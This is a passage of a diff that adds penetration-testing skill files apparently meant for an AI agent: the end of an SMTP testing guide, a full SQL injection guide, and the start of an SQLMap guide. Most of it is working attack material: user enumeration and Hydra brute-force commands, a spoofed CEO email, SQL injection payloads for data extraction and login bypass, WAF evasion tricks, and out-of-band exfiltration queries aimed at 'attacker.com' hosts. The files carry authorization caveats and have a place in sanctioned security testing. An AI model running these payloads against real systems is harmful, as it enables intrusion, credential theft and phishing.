# Response shows capabilities:
|
||||
250-mail.target.com
|
||||
250-PIPELINING
|
||||
250-SIZE 10240000
|
||||
250-VRFY
|
||||
250-ETRN
|
||||
250-STARTTLS
|
||||
250-AUTH PLAIN LOGIN
|
||||
250-8BITMIME
|
||||
250 DSN
|
||||
```
|
||||
|
||||
Key commands to test:
|
||||
|
||||
```bash
|
||||
# VRFY - Verify user exists
|
||||
VRFY admin
|
||||
250 2.1.5 admin@target.com
|
||||
|
||||
# EXPN - Expand mailing list
|
||||
EXPN staff
|
||||
250 2.1.5 user1@target.com
|
||||
250 2.1.5 user2@target.com
|
||||
|
||||
# RCPT TO - Recipient verification
|
||||
MAIL FROM:<test@attacker.com>
|
||||
RCPT TO:<admin@target.com>
|
||||
# 250 OK = user exists
|
||||
# 550 = user doesn't exist
|
||||
```
|
||||
|
||||
### Phase 5: User Enumeration
|
||||
|
||||
Enumerate valid email addresses:
|
||||
|
||||
```bash
|
||||
# Using smtp-user-enum with VRFY
|
||||
smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP
|
||||
|
||||
# Using EXPN method
|
||||
smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP
|
||||
|
||||
# Using RCPT method
|
||||
smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP
|
||||
|
||||
# Specify port and domain
|
||||
smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com
|
||||
```
|
||||
|
||||
Using Metasploit:
|
||||
|
||||
```bash
|
||||
use auxiliary/scanner/smtp/smtp_enum
|
||||
set RHOSTS TARGET_IP
|
||||
set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
|
||||
set UNIXONLY true
|
||||
run
|
||||
```
|
||||
|
||||
Using Nmap:
|
||||
|
||||
```bash
|
||||
# SMTP user enumeration script
|
||||
nmap --script smtp-enum-users -p 25 TARGET_IP
|
||||
|
||||
# With custom user list
|
||||
nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP
|
||||
```
|
||||
|
||||
### Phase 6: Open Relay Testing
|
||||
|
||||
Test for unauthorized email relay:
|
||||
|
||||
```bash
|
||||
# Using Nmap
|
||||
nmap -p 25 --script smtp-open-relay TARGET_IP
|
||||
|
||||
# Manual testing via Telnet
|
||||
telnet TARGET_IP 25
|
||||
HELO attacker.com
|
||||
MAIL FROM:<test@attacker.com>
|
||||
RCPT TO:<victim@external-domain.com>
|
||||
DATA
|
||||
Subject: Relay Test
|
||||
This is a test.
|
||||
.
|
||||
QUIT
|
||||
|
||||
# If accepted (250 OK), server is open relay
|
||||
```
|
||||
|
||||
Using Metasploit:
|
||||
|
||||
```bash
|
||||
use auxiliary/scanner/smtp/smtp_relay
|
||||
set RHOSTS TARGET_IP
|
||||
run
|
||||
```
|
||||
|
||||
Test variations:
|
||||
|
||||
```bash
|
||||
# Test different sender/recipient combinations
|
||||
MAIL FROM:<>
|
||||
MAIL FROM:<test@[attacker_IP]>
|
||||
MAIL FROM:<test@target.com>
|
||||
|
||||
RCPT TO:<test@external.com>
|
||||
RCPT TO:<"test@external.com">
|
||||
RCPT TO:<test%external.com@target.com>
|
||||
```
|
||||
|
||||
### Phase 7: Brute Force Authentication
|
||||
|
||||
Test for weak SMTP credentials:
|
||||
|
||||
```bash
|
||||
# Using Hydra
|
||||
hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP
|
||||
|
||||
# With specific port and SSL
|
||||
hydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp
|
||||
|
||||
# Multiple users
|
||||
hydra -L users.txt -P passwords.txt TARGET_IP smtp
|
||||
|
||||
# Verbose output
|
||||
hydra -l admin -P passwords.txt smtp://TARGET_IP -V
|
||||
```
|
||||
|
||||
Using Medusa:
|
||||
|
||||
```bash
|
||||
medusa -h TARGET_IP -u admin -P /path/to/passwords.txt -M smtp
|
||||
```
|
||||
|
||||
Using Metasploit:
|
||||
|
||||
```bash
|
||||
use auxiliary/scanner/smtp/smtp_login
|
||||
set RHOSTS TARGET_IP
|
||||
set USER_FILE /path/to/users.txt
|
||||
set PASS_FILE /path/to/passwords.txt
|
||||
set VERBOSE true
|
||||
run
|
||||
```
|
||||
|
||||
### Phase 8: SMTP Command Injection
|
||||
|
||||
Test for command injection vulnerabilities:
|
||||
|
||||
```bash
|
||||
# Header injection test
|
||||
MAIL FROM:<attacker@test.com>
|
||||
RCPT TO:<victim@target.com>
|
||||
DATA
|
||||
Subject: Test
|
||||
Bcc: hidden@attacker.com
|
||||
X-Injected: malicious-header
|
||||
|
||||
Injected content
|
||||
.
|
||||
```
|
||||
|
||||
Email spoofing test:
|
||||
|
||||
```bash
|
||||
# Spoofed sender (tests SPF/DKIM protection)
|
||||
MAIL FROM:<ceo@target.com>
|
||||
RCPT TO:<employee@target.com>
|
||||
DATA
|
||||
From: CEO <ceo@target.com>
|
||||
Subject: Urgent Request
|
||||
Please process this request immediately.
|
||||
.
|
||||
```
|
||||
|
||||
### Phase 9: TLS/SSL Security Testing
|
||||
|
||||
Test encryption configuration:
|
||||
|
||||
```bash
|
||||
# STARTTLS support check
|
||||
openssl s_client -connect TARGET_IP:25 -starttls smtp
|
||||
|
||||
# Direct SSL (port 465)
|
||||
openssl s_client -connect TARGET_IP:465
|
||||
|
||||
# Cipher enumeration
|
||||
nmap --script ssl-enum-ciphers -p 25 TARGET_IP
|
||||
```
|
||||
|
||||
### Phase 10: SPF, DKIM, DMARC Analysis
|
||||
|
||||
Check email authentication records:
|
||||
|
||||
```bash
|
||||
# SPF/DKIM/DMARC record lookups
|
||||
dig TXT target.com | grep spf # SPF
|
||||
dig TXT selector._domainkey.target.com # DKIM
|
||||
dig TXT _dmarc.target.com # DMARC
|
||||
|
||||
# SPF policy: -all = strict fail, ~all = soft fail, ?all = neutral
|
||||
```
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### Essential SMTP Commands
|
||||
|
||||
| Command | Purpose | Example |
|
||||
|---------|---------|---------|
|
||||
| HELO | Identify client | `HELO client.com` |
|
||||
| EHLO | Extended HELO | `EHLO client.com` |
|
||||
| MAIL FROM | Set sender | `MAIL FROM:<sender@test.com>` |
|
||||
| RCPT TO | Set recipient | `RCPT TO:<user@target.com>` |
|
||||
| DATA | Start message body | `DATA` |
|
||||
| VRFY | Verify user | `VRFY admin` |
|
||||
| EXPN | Expand alias | `EXPN staff` |
|
||||
| QUIT | End session | `QUIT` |
|
||||
|
||||
### SMTP Response Codes
|
||||
|
||||
| Code | Meaning |
|
||||
|------|---------|
|
||||
| 220 | Service ready |
|
||||
| 221 | Closing connection |
|
||||
| 250 | OK / Requested action completed |
|
||||
| 354 | Start mail input |
|
||||
| 421 | Service not available |
|
||||
| 450 | Mailbox unavailable |
|
||||
| 550 | User unknown / Mailbox not found |
|
||||
| 553 | Mailbox name not allowed |
|
||||
|
||||
### Enumeration Tool Commands
|
||||
|
||||
| Tool | Command |
|
||||
|------|---------|
|
||||
| smtp-user-enum | `smtp-user-enum -M VRFY -U users.txt -t IP` |
|
||||
| Nmap | `nmap --script smtp-enum-users -p 25 IP` |
|
||||
| Metasploit | `use auxiliary/scanner/smtp/smtp_enum` |
|
||||
| Netcat | `nc IP 25` then manual commands |
|
||||
|
||||
### Common Vulnerabilities
|
||||
|
||||
| Vulnerability | Risk | Test Method |
|
||||
|--------------|------|-------------|
|
||||
| Open Relay | High | Relay test with external recipient |
|
||||
| User Enumeration | Medium | VRFY/EXPN/RCPT commands |
|
||||
| Banner Disclosure | Low | Banner grabbing |
|
||||
| Weak Auth | High | Brute force attack |
|
||||
| No TLS | Medium | STARTTLS test |
|
||||
| Missing SPF/DKIM | Medium | DNS record lookup |
|
||||
|
||||
## Constraints and Limitations
|
||||
|
||||
### Legal Requirements
|
||||
- Only test SMTP servers you own or have authorization to test
|
||||
- Sending spam or malicious emails is illegal
|
||||
- Document all testing activities
|
||||
- Do not abuse discovered open relays
|
||||
|
||||
### Technical Limitations
|
||||
- VRFY/EXPN often disabled on modern servers
|
||||
- Rate limiting may slow enumeration
|
||||
- Some servers respond identically for valid/invalid users
|
||||
- Greylisting may delay enumeration responses
|
||||
|
||||
### Ethical Boundaries
|
||||
- Never send actual spam through discovered relays
|
||||
- Do not harvest email addresses for malicious use
|
||||
- Report open relays to server administrators
|
||||
- Use findings only for authorized security improvement
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: Complete SMTP Assessment
|
||||
|
||||
**Scenario:** Full security assessment of mail server
|
||||
|
||||
```bash
|
||||
# Step 1: Service discovery
|
||||
nmap -sV -sC -p 25,465,587 mail.target.com
|
||||
|
||||
# Step 2: Banner grab
|
||||
nc mail.target.com 25
|
||||
EHLO test.com
|
||||
QUIT
|
||||
|
||||
# Step 3: User enumeration
|
||||
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t mail.target.com
|
||||
|
||||
# Step 4: Open relay test
|
||||
nmap -p 25 --script smtp-open-relay mail.target.com
|
||||
|
||||
# Step 5: Authentication test
|
||||
hydra -l admin -P /usr/share/wordlists/fasttrack.txt smtp://mail.target.com
|
||||
|
||||
# Step 6: TLS check
|
||||
openssl s_client -connect mail.target.com:25 -starttls smtp
|
||||
|
||||
# Step 7: Check email authentication
|
||||
dig TXT target.com | grep spf
|
||||
dig TXT _dmarc.target.com
|
||||
```
|
||||
|
||||
### Example 2: User Enumeration Attack
|
||||
|
||||
**Scenario:** Enumerate valid users for phishing preparation
|
||||
|
||||
```bash
|
||||
# Method 1: VRFY
|
||||
smtp-user-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25
|
||||
|
||||
# Method 2: RCPT with timing analysis
|
||||
smtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com
|
||||
|
||||
# Method 3: Metasploit
|
||||
msfconsole
|
||||
use auxiliary/scanner/smtp/smtp_enum
|
||||
set RHOSTS 192.168.1.100
|
||||
set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt
|
||||
run
|
||||
|
||||
# Results show valid users
|
||||
[+] 192.168.1.100:25 - Found user: admin
|
||||
[+] 192.168.1.100:25 - Found user: root
|
||||
[+] 192.168.1.100:25 - Found user: postmaster
|
||||
```
|
||||
|
||||
### Example 3: Open Relay Exploitation
|
||||
|
||||
**Scenario:** Test and document open relay vulnerability
|
||||
|
||||
```bash
|
||||
# Test via Telnet
|
||||
telnet mail.target.com 25
|
||||
HELO attacker.com
|
||||
MAIL FROM:<test@attacker.com>
|
||||
RCPT TO:<test@gmail.com>
|
||||
# If 250 OK - VULNERABLE
|
||||
|
||||
# Document with Nmap
|
||||
nmap -p 25 --script smtp-open-relay --script-args smtp-open-relay.from=test@attacker.com,smtp-open-relay.to=test@external.com mail.target.com
|
||||
|
||||
# Output:
|
||||
# PORT STATE SERVICE
|
||||
# 25/tcp open smtp
|
||||
# |_smtp-open-relay: Server is an open relay (14/16 tests)
|
||||
```
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Issue | Cause | Solution |
|
||||
|-------|-------|----------|
|
||||
| Connection Refused | Port blocked or closed | Check port with nmap; ISP may block port 25; try 587/465; use VPN |
|
||||
| VRFY/EXPN Disabled | Server hardened | Use RCPT TO method; analyze response time/code variations |
|
||||
| Brute Force Blocked | Rate limiting/lockout | Slow down (`hydra -W 5`); use password spraying; check for fail2ban |
|
||||
| SSL/TLS Errors | Wrong port or protocol | Use 465 for SSL, 25/587 for STARTTLS; verify EHLO response |
|
||||
|
||||
## Security Recommendations
|
||||
|
||||
### For Administrators
|
||||
|
||||
1. **Disable Open Relay** - Require authentication for external delivery
|
||||
2. **Disable VRFY/EXPN** - Prevent user enumeration
|
||||
3. **Enforce TLS** - Require STARTTLS for all connections
|
||||
4. **Implement SPF/DKIM/DMARC** - Prevent email spoofing
|
||||
5. **Rate Limiting** - Prevent brute force attacks
|
||||
6. **Account Lockout** - Lock accounts after failed attempts
|
||||
7. **Banner Hardening** - Minimize server information disclosure
|
||||
8. **Log Monitoring** - Alert on suspicious activity
|
||||
9. **Patch Management** - Keep SMTP software updated
|
||||
10. **Access Controls** - Restrict SMTP to authorized IPs
|
||||
445
skills/sql-injection-testing/SKILL.md
Normal file
445
skills/sql-injection-testing/SKILL.md
Normal file
@@ -0,0 +1,445 @@
|
||||
---
|
||||
name: SQL Injection Testing
|
||||
description: This skill should be used when the user asks to "test for SQL injection vulnerabilities", "perform SQLi attacks", "bypass authentication using SQL injection", "extract database information through injection", "detect SQL injection flaws", or "exploit database query vulnerabilities". It provides comprehensive techniques for identifying, exploiting, and understanding SQL injection attack vectors across different database systems.
|
||||
---
|
||||
|
||||
# SQL Injection Testing
|
||||
|
||||
## Purpose
|
||||
|
||||
Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms. This skill enables systematic detection and exploitation of SQL injection vulnerabilities across in-band, blind, and out-of-band attack vectors to assess application security posture.
|
||||
|
||||
## Inputs / Prerequisites
|
||||
|
||||
### Required Access
|
||||
- Target web application URL with injectable parameters
|
||||
- Burp Suite or equivalent proxy tool for request manipulation
|
||||
- SQLMap installation for automated exploitation
|
||||
- Browser with developer tools enabled
|
||||
|
||||
### Technical Requirements
|
||||
- Understanding of SQL query syntax (MySQL, MSSQL, PostgreSQL, Oracle)
|
||||
- Knowledge of HTTP request/response cycle
|
||||
- Familiarity with database schemas and structures
|
||||
- Write permissions for testing reports
|
||||
|
||||
### Legal Prerequisites
|
||||
- Written authorization for penetration testing
|
||||
- Defined scope including target URLs and parameters
|
||||
- Emergency contact procedures established
|
||||
- Data handling agreements in place
|
||||
|
||||
## Outputs / Deliverables
|
||||
|
||||
### Primary Outputs
|
||||
- SQL injection vulnerability report with severity ratings
|
||||
- Extracted database schemas and table structures
|
||||
- Authentication bypass proof-of-concept demonstrations
|
||||
- Remediation recommendations with code examples
|
||||
|
||||
### Evidence Artifacts
|
||||
- Screenshots of successful injections
|
||||
- HTTP request/response logs
|
||||
- Database dumps (sanitized)
|
||||
- Payload documentation
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Phase 1: Detection and Reconnaissance
|
||||
|
||||
#### Identify Injectable Parameters
|
||||
Locate user-controlled input fields that interact with database queries:
|
||||
|
||||
```
|
||||
# Common injection points
|
||||
- URL parameters: ?id=1, ?user=admin, ?category=books
|
||||
- Form fields: username, password, search, comments
|
||||
- Cookie values: session_id, user_preference
|
||||
- HTTP headers: User-Agent, Referer, X-Forwarded-For
|
||||
```
|
||||
|
||||
#### Test for Basic Vulnerability Indicators
|
||||
Insert special characters to trigger error responses:
|
||||
|
||||
```sql
|
||||
-- Single quote test
|
||||
'
|
||||
|
||||
-- Double quote test
|
||||
"
|
||||
|
||||
-- Comment sequences
|
||||
--
|
||||
#
|
||||
/**/
|
||||
|
||||
-- Semicolon for query stacking
|
||||
;
|
||||
|
||||
-- Parentheses
|
||||
)
|
||||
```
|
||||
|
||||
Monitor application responses for:
|
||||
- Database error messages revealing query structure
|
||||
- Unexpected application behavior changes
|
||||
- HTTP 500 Internal Server errors
|
||||
- Modified response content or length
|
||||
|
||||
#### Logic Testing Payloads
|
||||
Verify boolean-based vulnerability presence:
|
||||
|
||||
```sql
|
||||
-- True condition tests
|
||||
page.asp?id=1 or 1=1
|
||||
page.asp?id=1' or 1=1--
|
||||
page.asp?id=1" or 1=1--
|
||||
|
||||
-- False condition tests
|
||||
page.asp?id=1 and 1=2
|
||||
page.asp?id=1' and 1=2--
|
||||
```
|
||||
|
||||
Compare responses between true and false conditions to confirm injection capability.
|
||||
|
||||
### Phase 2: Exploitation Techniques
|
||||
|
||||
#### UNION-Based Extraction
|
||||
Combine attacker-controlled SELECT statements with original query:
|
||||
|
||||
```sql
|
||||
-- Determine column count
|
||||
ORDER BY 1--
|
||||
ORDER BY 2--
|
||||
ORDER BY 3--
|
||||
-- Continue until error occurs
|
||||
|
||||
-- Find displayable columns
|
||||
UNION SELECT NULL,NULL,NULL--
|
||||
UNION SELECT 'a',NULL,NULL--
|
||||
UNION SELECT NULL,'a',NULL--
|
||||
|
||||
-- Extract data
|
||||
UNION SELECT username,password,NULL FROM users--
|
||||
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
|
||||
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
|
||||
```
|
||||
|
||||
#### Error-Based Extraction
|
||||
Force database errors that leak information:
|
||||
|
||||
```sql
|
||||
-- MSSQL version extraction
|
||||
1' AND 1=CONVERT(int,(SELECT @@version))--
|
||||
|
||||
-- MySQL extraction via XPATH
|
||||
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--
|
||||
|
||||
-- PostgreSQL cast errors
|
||||
1' AND 1=CAST((SELECT version()) AS int)--
|
||||
```
|
||||
|
||||
#### Blind Boolean-Based Extraction
|
||||
Infer data through application behavior changes:
|
||||
|
||||
```sql
|
||||
-- Character extraction
|
||||
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
|
||||
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--
|
||||
|
||||
-- Conditional responses
|
||||
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--
|
||||
```
|
||||
|
||||
#### Time-Based Blind Extraction
|
||||
Use database sleep functions for confirmation:
|
||||
|
||||
```sql
|
||||
-- MySQL
|
||||
1' AND IF(1=1,SLEEP(5),0)--
|
||||
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--
|
||||
|
||||
-- MSSQL
|
||||
1'; WAITFOR DELAY '0:0:5'--
|
||||
|
||||
-- PostgreSQL
|
||||
1'; SELECT pg_sleep(5)--
|
||||
```
|
||||
|
||||
#### Out-of-Band (OOB) Extraction
|
||||
Exfiltrate data through external channels:
|
||||
|
||||
```sql
|
||||
-- MSSQL DNS exfiltration
|
||||
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--
|
||||
|
||||
-- MySQL DNS exfiltration
|
||||
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--
|
||||
|
||||
-- Oracle HTTP request
|
||||
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--
|
||||
```
|
||||
|
||||
### Phase 3: Authentication Bypass
|
||||
|
||||
#### Login Form Exploitation
|
||||
Craft payloads to bypass credential verification:
|
||||
|
||||
```sql
|
||||
-- Classic bypass
|
||||
admin'--
|
||||
admin'/*
|
||||
' OR '1'='1
|
||||
' OR '1'='1'--
|
||||
' OR '1'='1'/*
|
||||
') OR ('1'='1
|
||||
') OR ('1'='1'--
|
||||
|
||||
-- Username enumeration
|
||||
admin' AND '1'='1
|
||||
admin' AND '1'='2
|
||||
```
|
||||
|
||||
Query transformation example:
|
||||
```sql
|
||||
-- Original query
|
||||
SELECT * FROM users WHERE username='input' AND password='input'
|
||||
|
||||
-- Injected (username: admin'--)
|
||||
SELECT * FROM users WHERE username='admin'--' AND password='anything'
|
||||
-- Password check bypassed via comment
|
||||
```
|
||||
|
||||
### Phase 4: Filter Bypass Techniques
|
||||
|
||||
#### Character Encoding Bypass
|
||||
When special characters are blocked:
|
||||
|
||||
```sql
|
||||
-- URL encoding
|
||||
%27 (single quote)
|
||||
%22 (double quote)
|
||||
%23 (hash)
|
||||
|
||||
-- Double URL encoding
|
||||
%2527 (single quote)
|
||||
|
||||
-- Unicode alternatives
|
||||
U+0027 (apostrophe)
|
||||
U+02B9 (modifier letter prime)
|
||||
|
||||
-- Hexadecimal strings (MySQL)
|
||||
SELECT * FROM users WHERE name=0x61646D696E -- 'admin' in hex
|
||||
```
|
||||
|
||||
#### Whitespace Bypass
|
||||
Substitute blocked spaces:
|
||||
|
||||
```sql
|
||||
-- Comment substitution
|
||||
SELECT/**/username/**/FROM/**/users
|
||||
SEL/**/ECT/**/username/**/FR/**/OM/**/users
|
||||
|
||||
-- Alternative whitespace
|
||||
SELECT%09username%09FROM%09users -- Tab character
|
||||
SELECT%0Ausername%0AFROM%0Ausers -- Newline
|
||||
```
|
||||
|
||||
#### Keyword Bypass
|
||||
Evade blacklisted SQL keywords:
|
||||
|
||||
```sql
|
||||
-- Case variation
|
||||
SeLeCt, sElEcT, SELECT
|
||||
|
||||
-- Inline comments
|
||||
SEL/*bypass*/ECT
|
||||
UN/*bypass*/ION
|
||||
|
||||
-- Double writing (if filter removes once)
|
||||
SELSELECTECT → SELECT
|
||||
UNUNIONION → UNION
|
||||
|
||||
-- Null byte injection
|
||||
%00SELECT
|
||||
SEL%00ECT
|
||||
```
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### Detection Test Sequence
|
||||
```
|
||||
1. Insert ' → Check for error
|
||||
2. Insert " → Check for error
|
||||
3. Try: OR 1=1-- → Check for behavior change
|
||||
4. Try: AND 1=2-- → Check for behavior change
|
||||
5. Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay
|
||||
```
|
||||
|
||||
### Database Fingerprinting
|
||||
```sql
|
||||
-- MySQL
|
||||
SELECT @@version
|
||||
SELECT version()
|
||||
|
||||
-- MSSQL
|
||||
SELECT @@version
|
||||
SELECT @@servername
|
||||
|
||||
-- PostgreSQL
|
||||
SELECT version()
|
||||
|
||||
-- Oracle
|
||||
SELECT banner FROM v$version
|
||||
SELECT * FROM v$version
|
||||
```
|
||||
|
||||
### Information Schema Queries
|
||||
```sql
|
||||
-- MySQL/MSSQL table enumeration
|
||||
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
|
||||
|
||||
-- Column enumeration
|
||||
SELECT column_name FROM information_schema.columns WHERE table_name='users'
|
||||
|
||||
-- Oracle equivalent
|
||||
SELECT table_name FROM all_tables
|
||||
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
|
||||
```
|
||||
|
||||
### Common Payloads Quick List
|
||||
| Purpose | Payload |
|
||||
|---------|---------|
|
||||
| Basic test | `'` or `"` |
|
||||
| Boolean true | `OR 1=1--` |
|
||||
| Boolean false | `AND 1=2--` |
|
||||
| Comment (MySQL) | `#` or `-- ` |
|
||||
| Comment (MSSQL) | `--` |
|
||||
| UNION probe | `UNION SELECT NULL--` |
|
||||
| Time delay | `AND SLEEP(5)--` |
|
||||
| Auth bypass | `' OR '1'='1` |
|
||||
|
||||
## Constraints and Guardrails
|
||||
|
||||
### Operational Boundaries
|
||||
- Never execute destructive queries (DROP, DELETE, TRUNCATE) without explicit authorization
|
||||
- Limit data extraction to proof-of-concept quantities
|
||||
- Avoid denial-of-service through resource-intensive queries
|
||||
- Stop immediately upon detecting production database with real user data
|
||||
|
||||
### Technical Limitations
|
||||
- WAF/IPS may block common payloads requiring evasion techniques
|
||||
- Parameterized queries prevent standard injection
|
||||
- Some blind injection requires extensive requests (rate limiting concerns)
|
||||
- Second-order injection requires understanding of data flow
|
||||
|
||||
### Legal and Ethical Requirements
|
||||
- Written scope agreement must exist before testing
|
||||
- Document all extracted data and handle per data protection requirements
|
||||
- Report critical vulnerabilities immediately through agreed channels
|
||||
- Never access data beyond scope requirements
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: E-commerce Product Page SQLi
|
||||
|
||||
**Scenario**: Testing product display page with ID parameter
|
||||
|
||||
**Initial Request**:
|
||||
```
|
||||
GET /product.php?id=5 HTTP/1.1
|
||||
```
|
||||
|
||||
**Detection Test**:
|
||||
```
|
||||
GET /product.php?id=5' HTTP/1.1
|
||||
Response: MySQL error - syntax error near '''
|
||||
```
|
||||
|
||||
**Column Enumeration**:
|
||||
```
|
||||
GET /product.php?id=5 ORDER BY 4-- HTTP/1.1
|
||||
Response: Normal
|
||||
GET /product.php?id=5 ORDER BY 5-- HTTP/1.1
|
||||
Response: Error (4 columns confirmed)
|
||||
```
|
||||
|
||||
**Data Extraction**:
|
||||
```
|
||||
GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1
|
||||
Response: Displays admin credentials
|
||||
```
|
||||
|
||||
### Example 2: Blind Time-Based Extraction
|
||||
|
||||
**Scenario**: No visible output, testing for blind injection
|
||||
|
||||
**Confirm Vulnerability**:
|
||||
```sql
|
||||
id=5' AND SLEEP(5)--
|
||||
-- Response delayed by 5 seconds (vulnerable confirmed)
|
||||
```
|
||||
|
||||
**Extract Database Name Length**:
|
||||
```sql
|
||||
id=5' AND IF(LENGTH(database())=8,SLEEP(5),0)--
|
||||
-- Delay confirms database name is 8 characters
|
||||
```
|
||||
|
||||
**Extract Characters**:
|
||||
```sql
|
||||
id=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
|
||||
-- Iterate through characters to extract: 'appstore'
|
||||
```
|
||||
|
||||
### Example 3: Login Bypass
|
||||
|
||||
**Target**: Admin login form
|
||||
|
||||
**Standard Login Query**:
|
||||
```sql
|
||||
SELECT * FROM users WHERE username='[input]' AND password='[input]'
|
||||
```
|
||||
|
||||
**Injection Payload**:
|
||||
```
|
||||
Username: administrator'--
|
||||
Password: anything
|
||||
```
|
||||
|
||||
**Resulting Query**:
|
||||
```sql
|
||||
SELECT * FROM users WHERE username='administrator'--' AND password='anything'
|
||||
```
|
||||
|
||||
**Result**: Password check bypassed, authenticated as administrator.
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### No Error Messages Displayed
|
||||
- Application uses generic error handling
|
||||
- Switch to blind injection techniques (boolean or time-based)
|
||||
- Monitor response length differences instead of content
|
||||
|
||||
### UNION Injection Fails
|
||||
- Column count may be incorrect → Test with ORDER BY
|
||||
- Data types may mismatch → Use NULL for all columns first
|
||||
- Results may not display → Find injectable column positions
|
||||
|
||||
### WAF Blocking Requests
|
||||
- Use encoding techniques (URL, hex, unicode)
|
||||
- Insert inline comments within keywords
|
||||
- Try alternative syntax for same operations
|
||||
- Fragment payload across multiple parameters
|
||||
|
||||
### Payload Not Executing
|
||||
- Verify correct comment syntax for database type
|
||||
- Check if application uses parameterized queries
|
||||
- Confirm input reaches SQL query (not filtered client-side)
|
||||
- Test different injection points (headers, cookies)
|
||||
|
||||
### Time-Based Injection Inconsistent
|
||||
- Network latency may cause false positives
|
||||
- Use longer delays (10+ seconds) for clarity
|
||||
- Run multiple tests to confirm pattern
|
||||
- Consider server-side caching effects
|
||||
397
skills/sqlmap-database-pentesting/SKILL.md
Normal file
397
skills/sqlmap-database-pentesting/SKILL.md
Normal file
@@ -0,0 +1,397 @@
|
||||
---
|
||||
name: SQLMap Database Penetration Testing
|
||||
description: This skill should be used when the user asks to "automate SQL injection testing," "enumerate database structure," "extract database credentials using sqlmap," "dump tables and columns from a vulnerable database," or "perform automated database penetration testing." It provides comprehensive guidance for using SQLMap to detect and exploit SQL injection vulnerabilities.
|
||||
---
|
||||
|
||||
# SQLMap Database Penetration Testing
|
||||
|
||||
## Purpose
|
||||
|
||||
Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.
|
||||
|
||||
## Inputs / Prerequisites
|
||||
|
||||
- **Target URL**: Web application URL with injectable parameter (e.g., `?id=1`)
|
||||
- **SQLMap Installation**: Pre-installed on Kali Linux or downloaded from GitHub
|
||||
- **Verified Injection Point**: URL parameter confirmed or suspected to be SQL injectable
|
||||
- **Request File (Optional)**: Burp Suite captured HTTP request for POST-based injection
|
||||
- **Authorization**: Written permission for penetration testing activities
|
||||
|
||||
## Outputs / Deliverables
|
||||
|
||||
- **Database Enumeration**: List of all databases on the target server
|
||||
- **Table Structure**: Complete table names within target database
|
||||
- **Column Mapping**: Column names and data types for each table
|
||||
- **Extracted Data**: Dumped records including usernames, passwords, and sensitive data
|
||||
- **Hash Values**: Password hashes for offline cracking
|
||||
- **Vulnerability Report**: Confirmation of SQL injection type and severity
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### 1. Identify SQL Injection Vulnerability
|
||||
|
||||
#### Manual Verification
|
||||
```bash
|
||||
# Add single quote to break query
|
||||
http://target.com/page.php?id=1'
|
||||
|
||||
# If error message appears, likely SQL injectable
|
||||
# Error example: "You have an error in your SQL syntax"
|
||||
```
|
||||
|
||||
#### Initial SQLMap Scan
|
||||
```bash
|
||||
# Basic vulnerability detection
|
||||
sqlmap -u "http://target.com/page.php?id=1" --batch
|
||||
|
||||
# With verbosity for detailed output
|
||||
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3
|
||||
```
|
||||
|
||||
### 2. Enumerate Databases
|
||||
|
||||
#### List All Databases
|
||||
```bash
|
||||
sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
|
||||
```
|
||||
|
||||
**Key Options:**
|
||||
- `-u`: Target URL with injectable parameter
|
||||
- `--dbs`: Enumerate database names
|
||||
- `--batch`: Use default answers (non-interactive mode)
|
||||
|
||||
### 3. Enumerate Tables
|
||||
|
||||
#### List Tables in Specific Database
|
||||
```bash
|
||||
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables --batch
|
||||
```
|
||||
|
||||
**Key Options:**
|
||||
- `-D`: Specify target database name
|
||||
- `--tables`: Enumerate table names
|
||||
|
||||
### 4. Enumerate Columns
|
||||
|
||||
#### List Columns in Specific Table
|
||||
```bash
|
||||
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns --batch
|
||||
```
|
||||
|
||||
**Key Options:**
|
||||
- `-T`: Specify target table name
|
||||
- `--columns`: Enumerate column names
|
||||
|
||||
### 5. Extract Data
|
||||
|
||||
#### Dump Specific Table Data
|
||||
```bash
|
||||
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump --batch
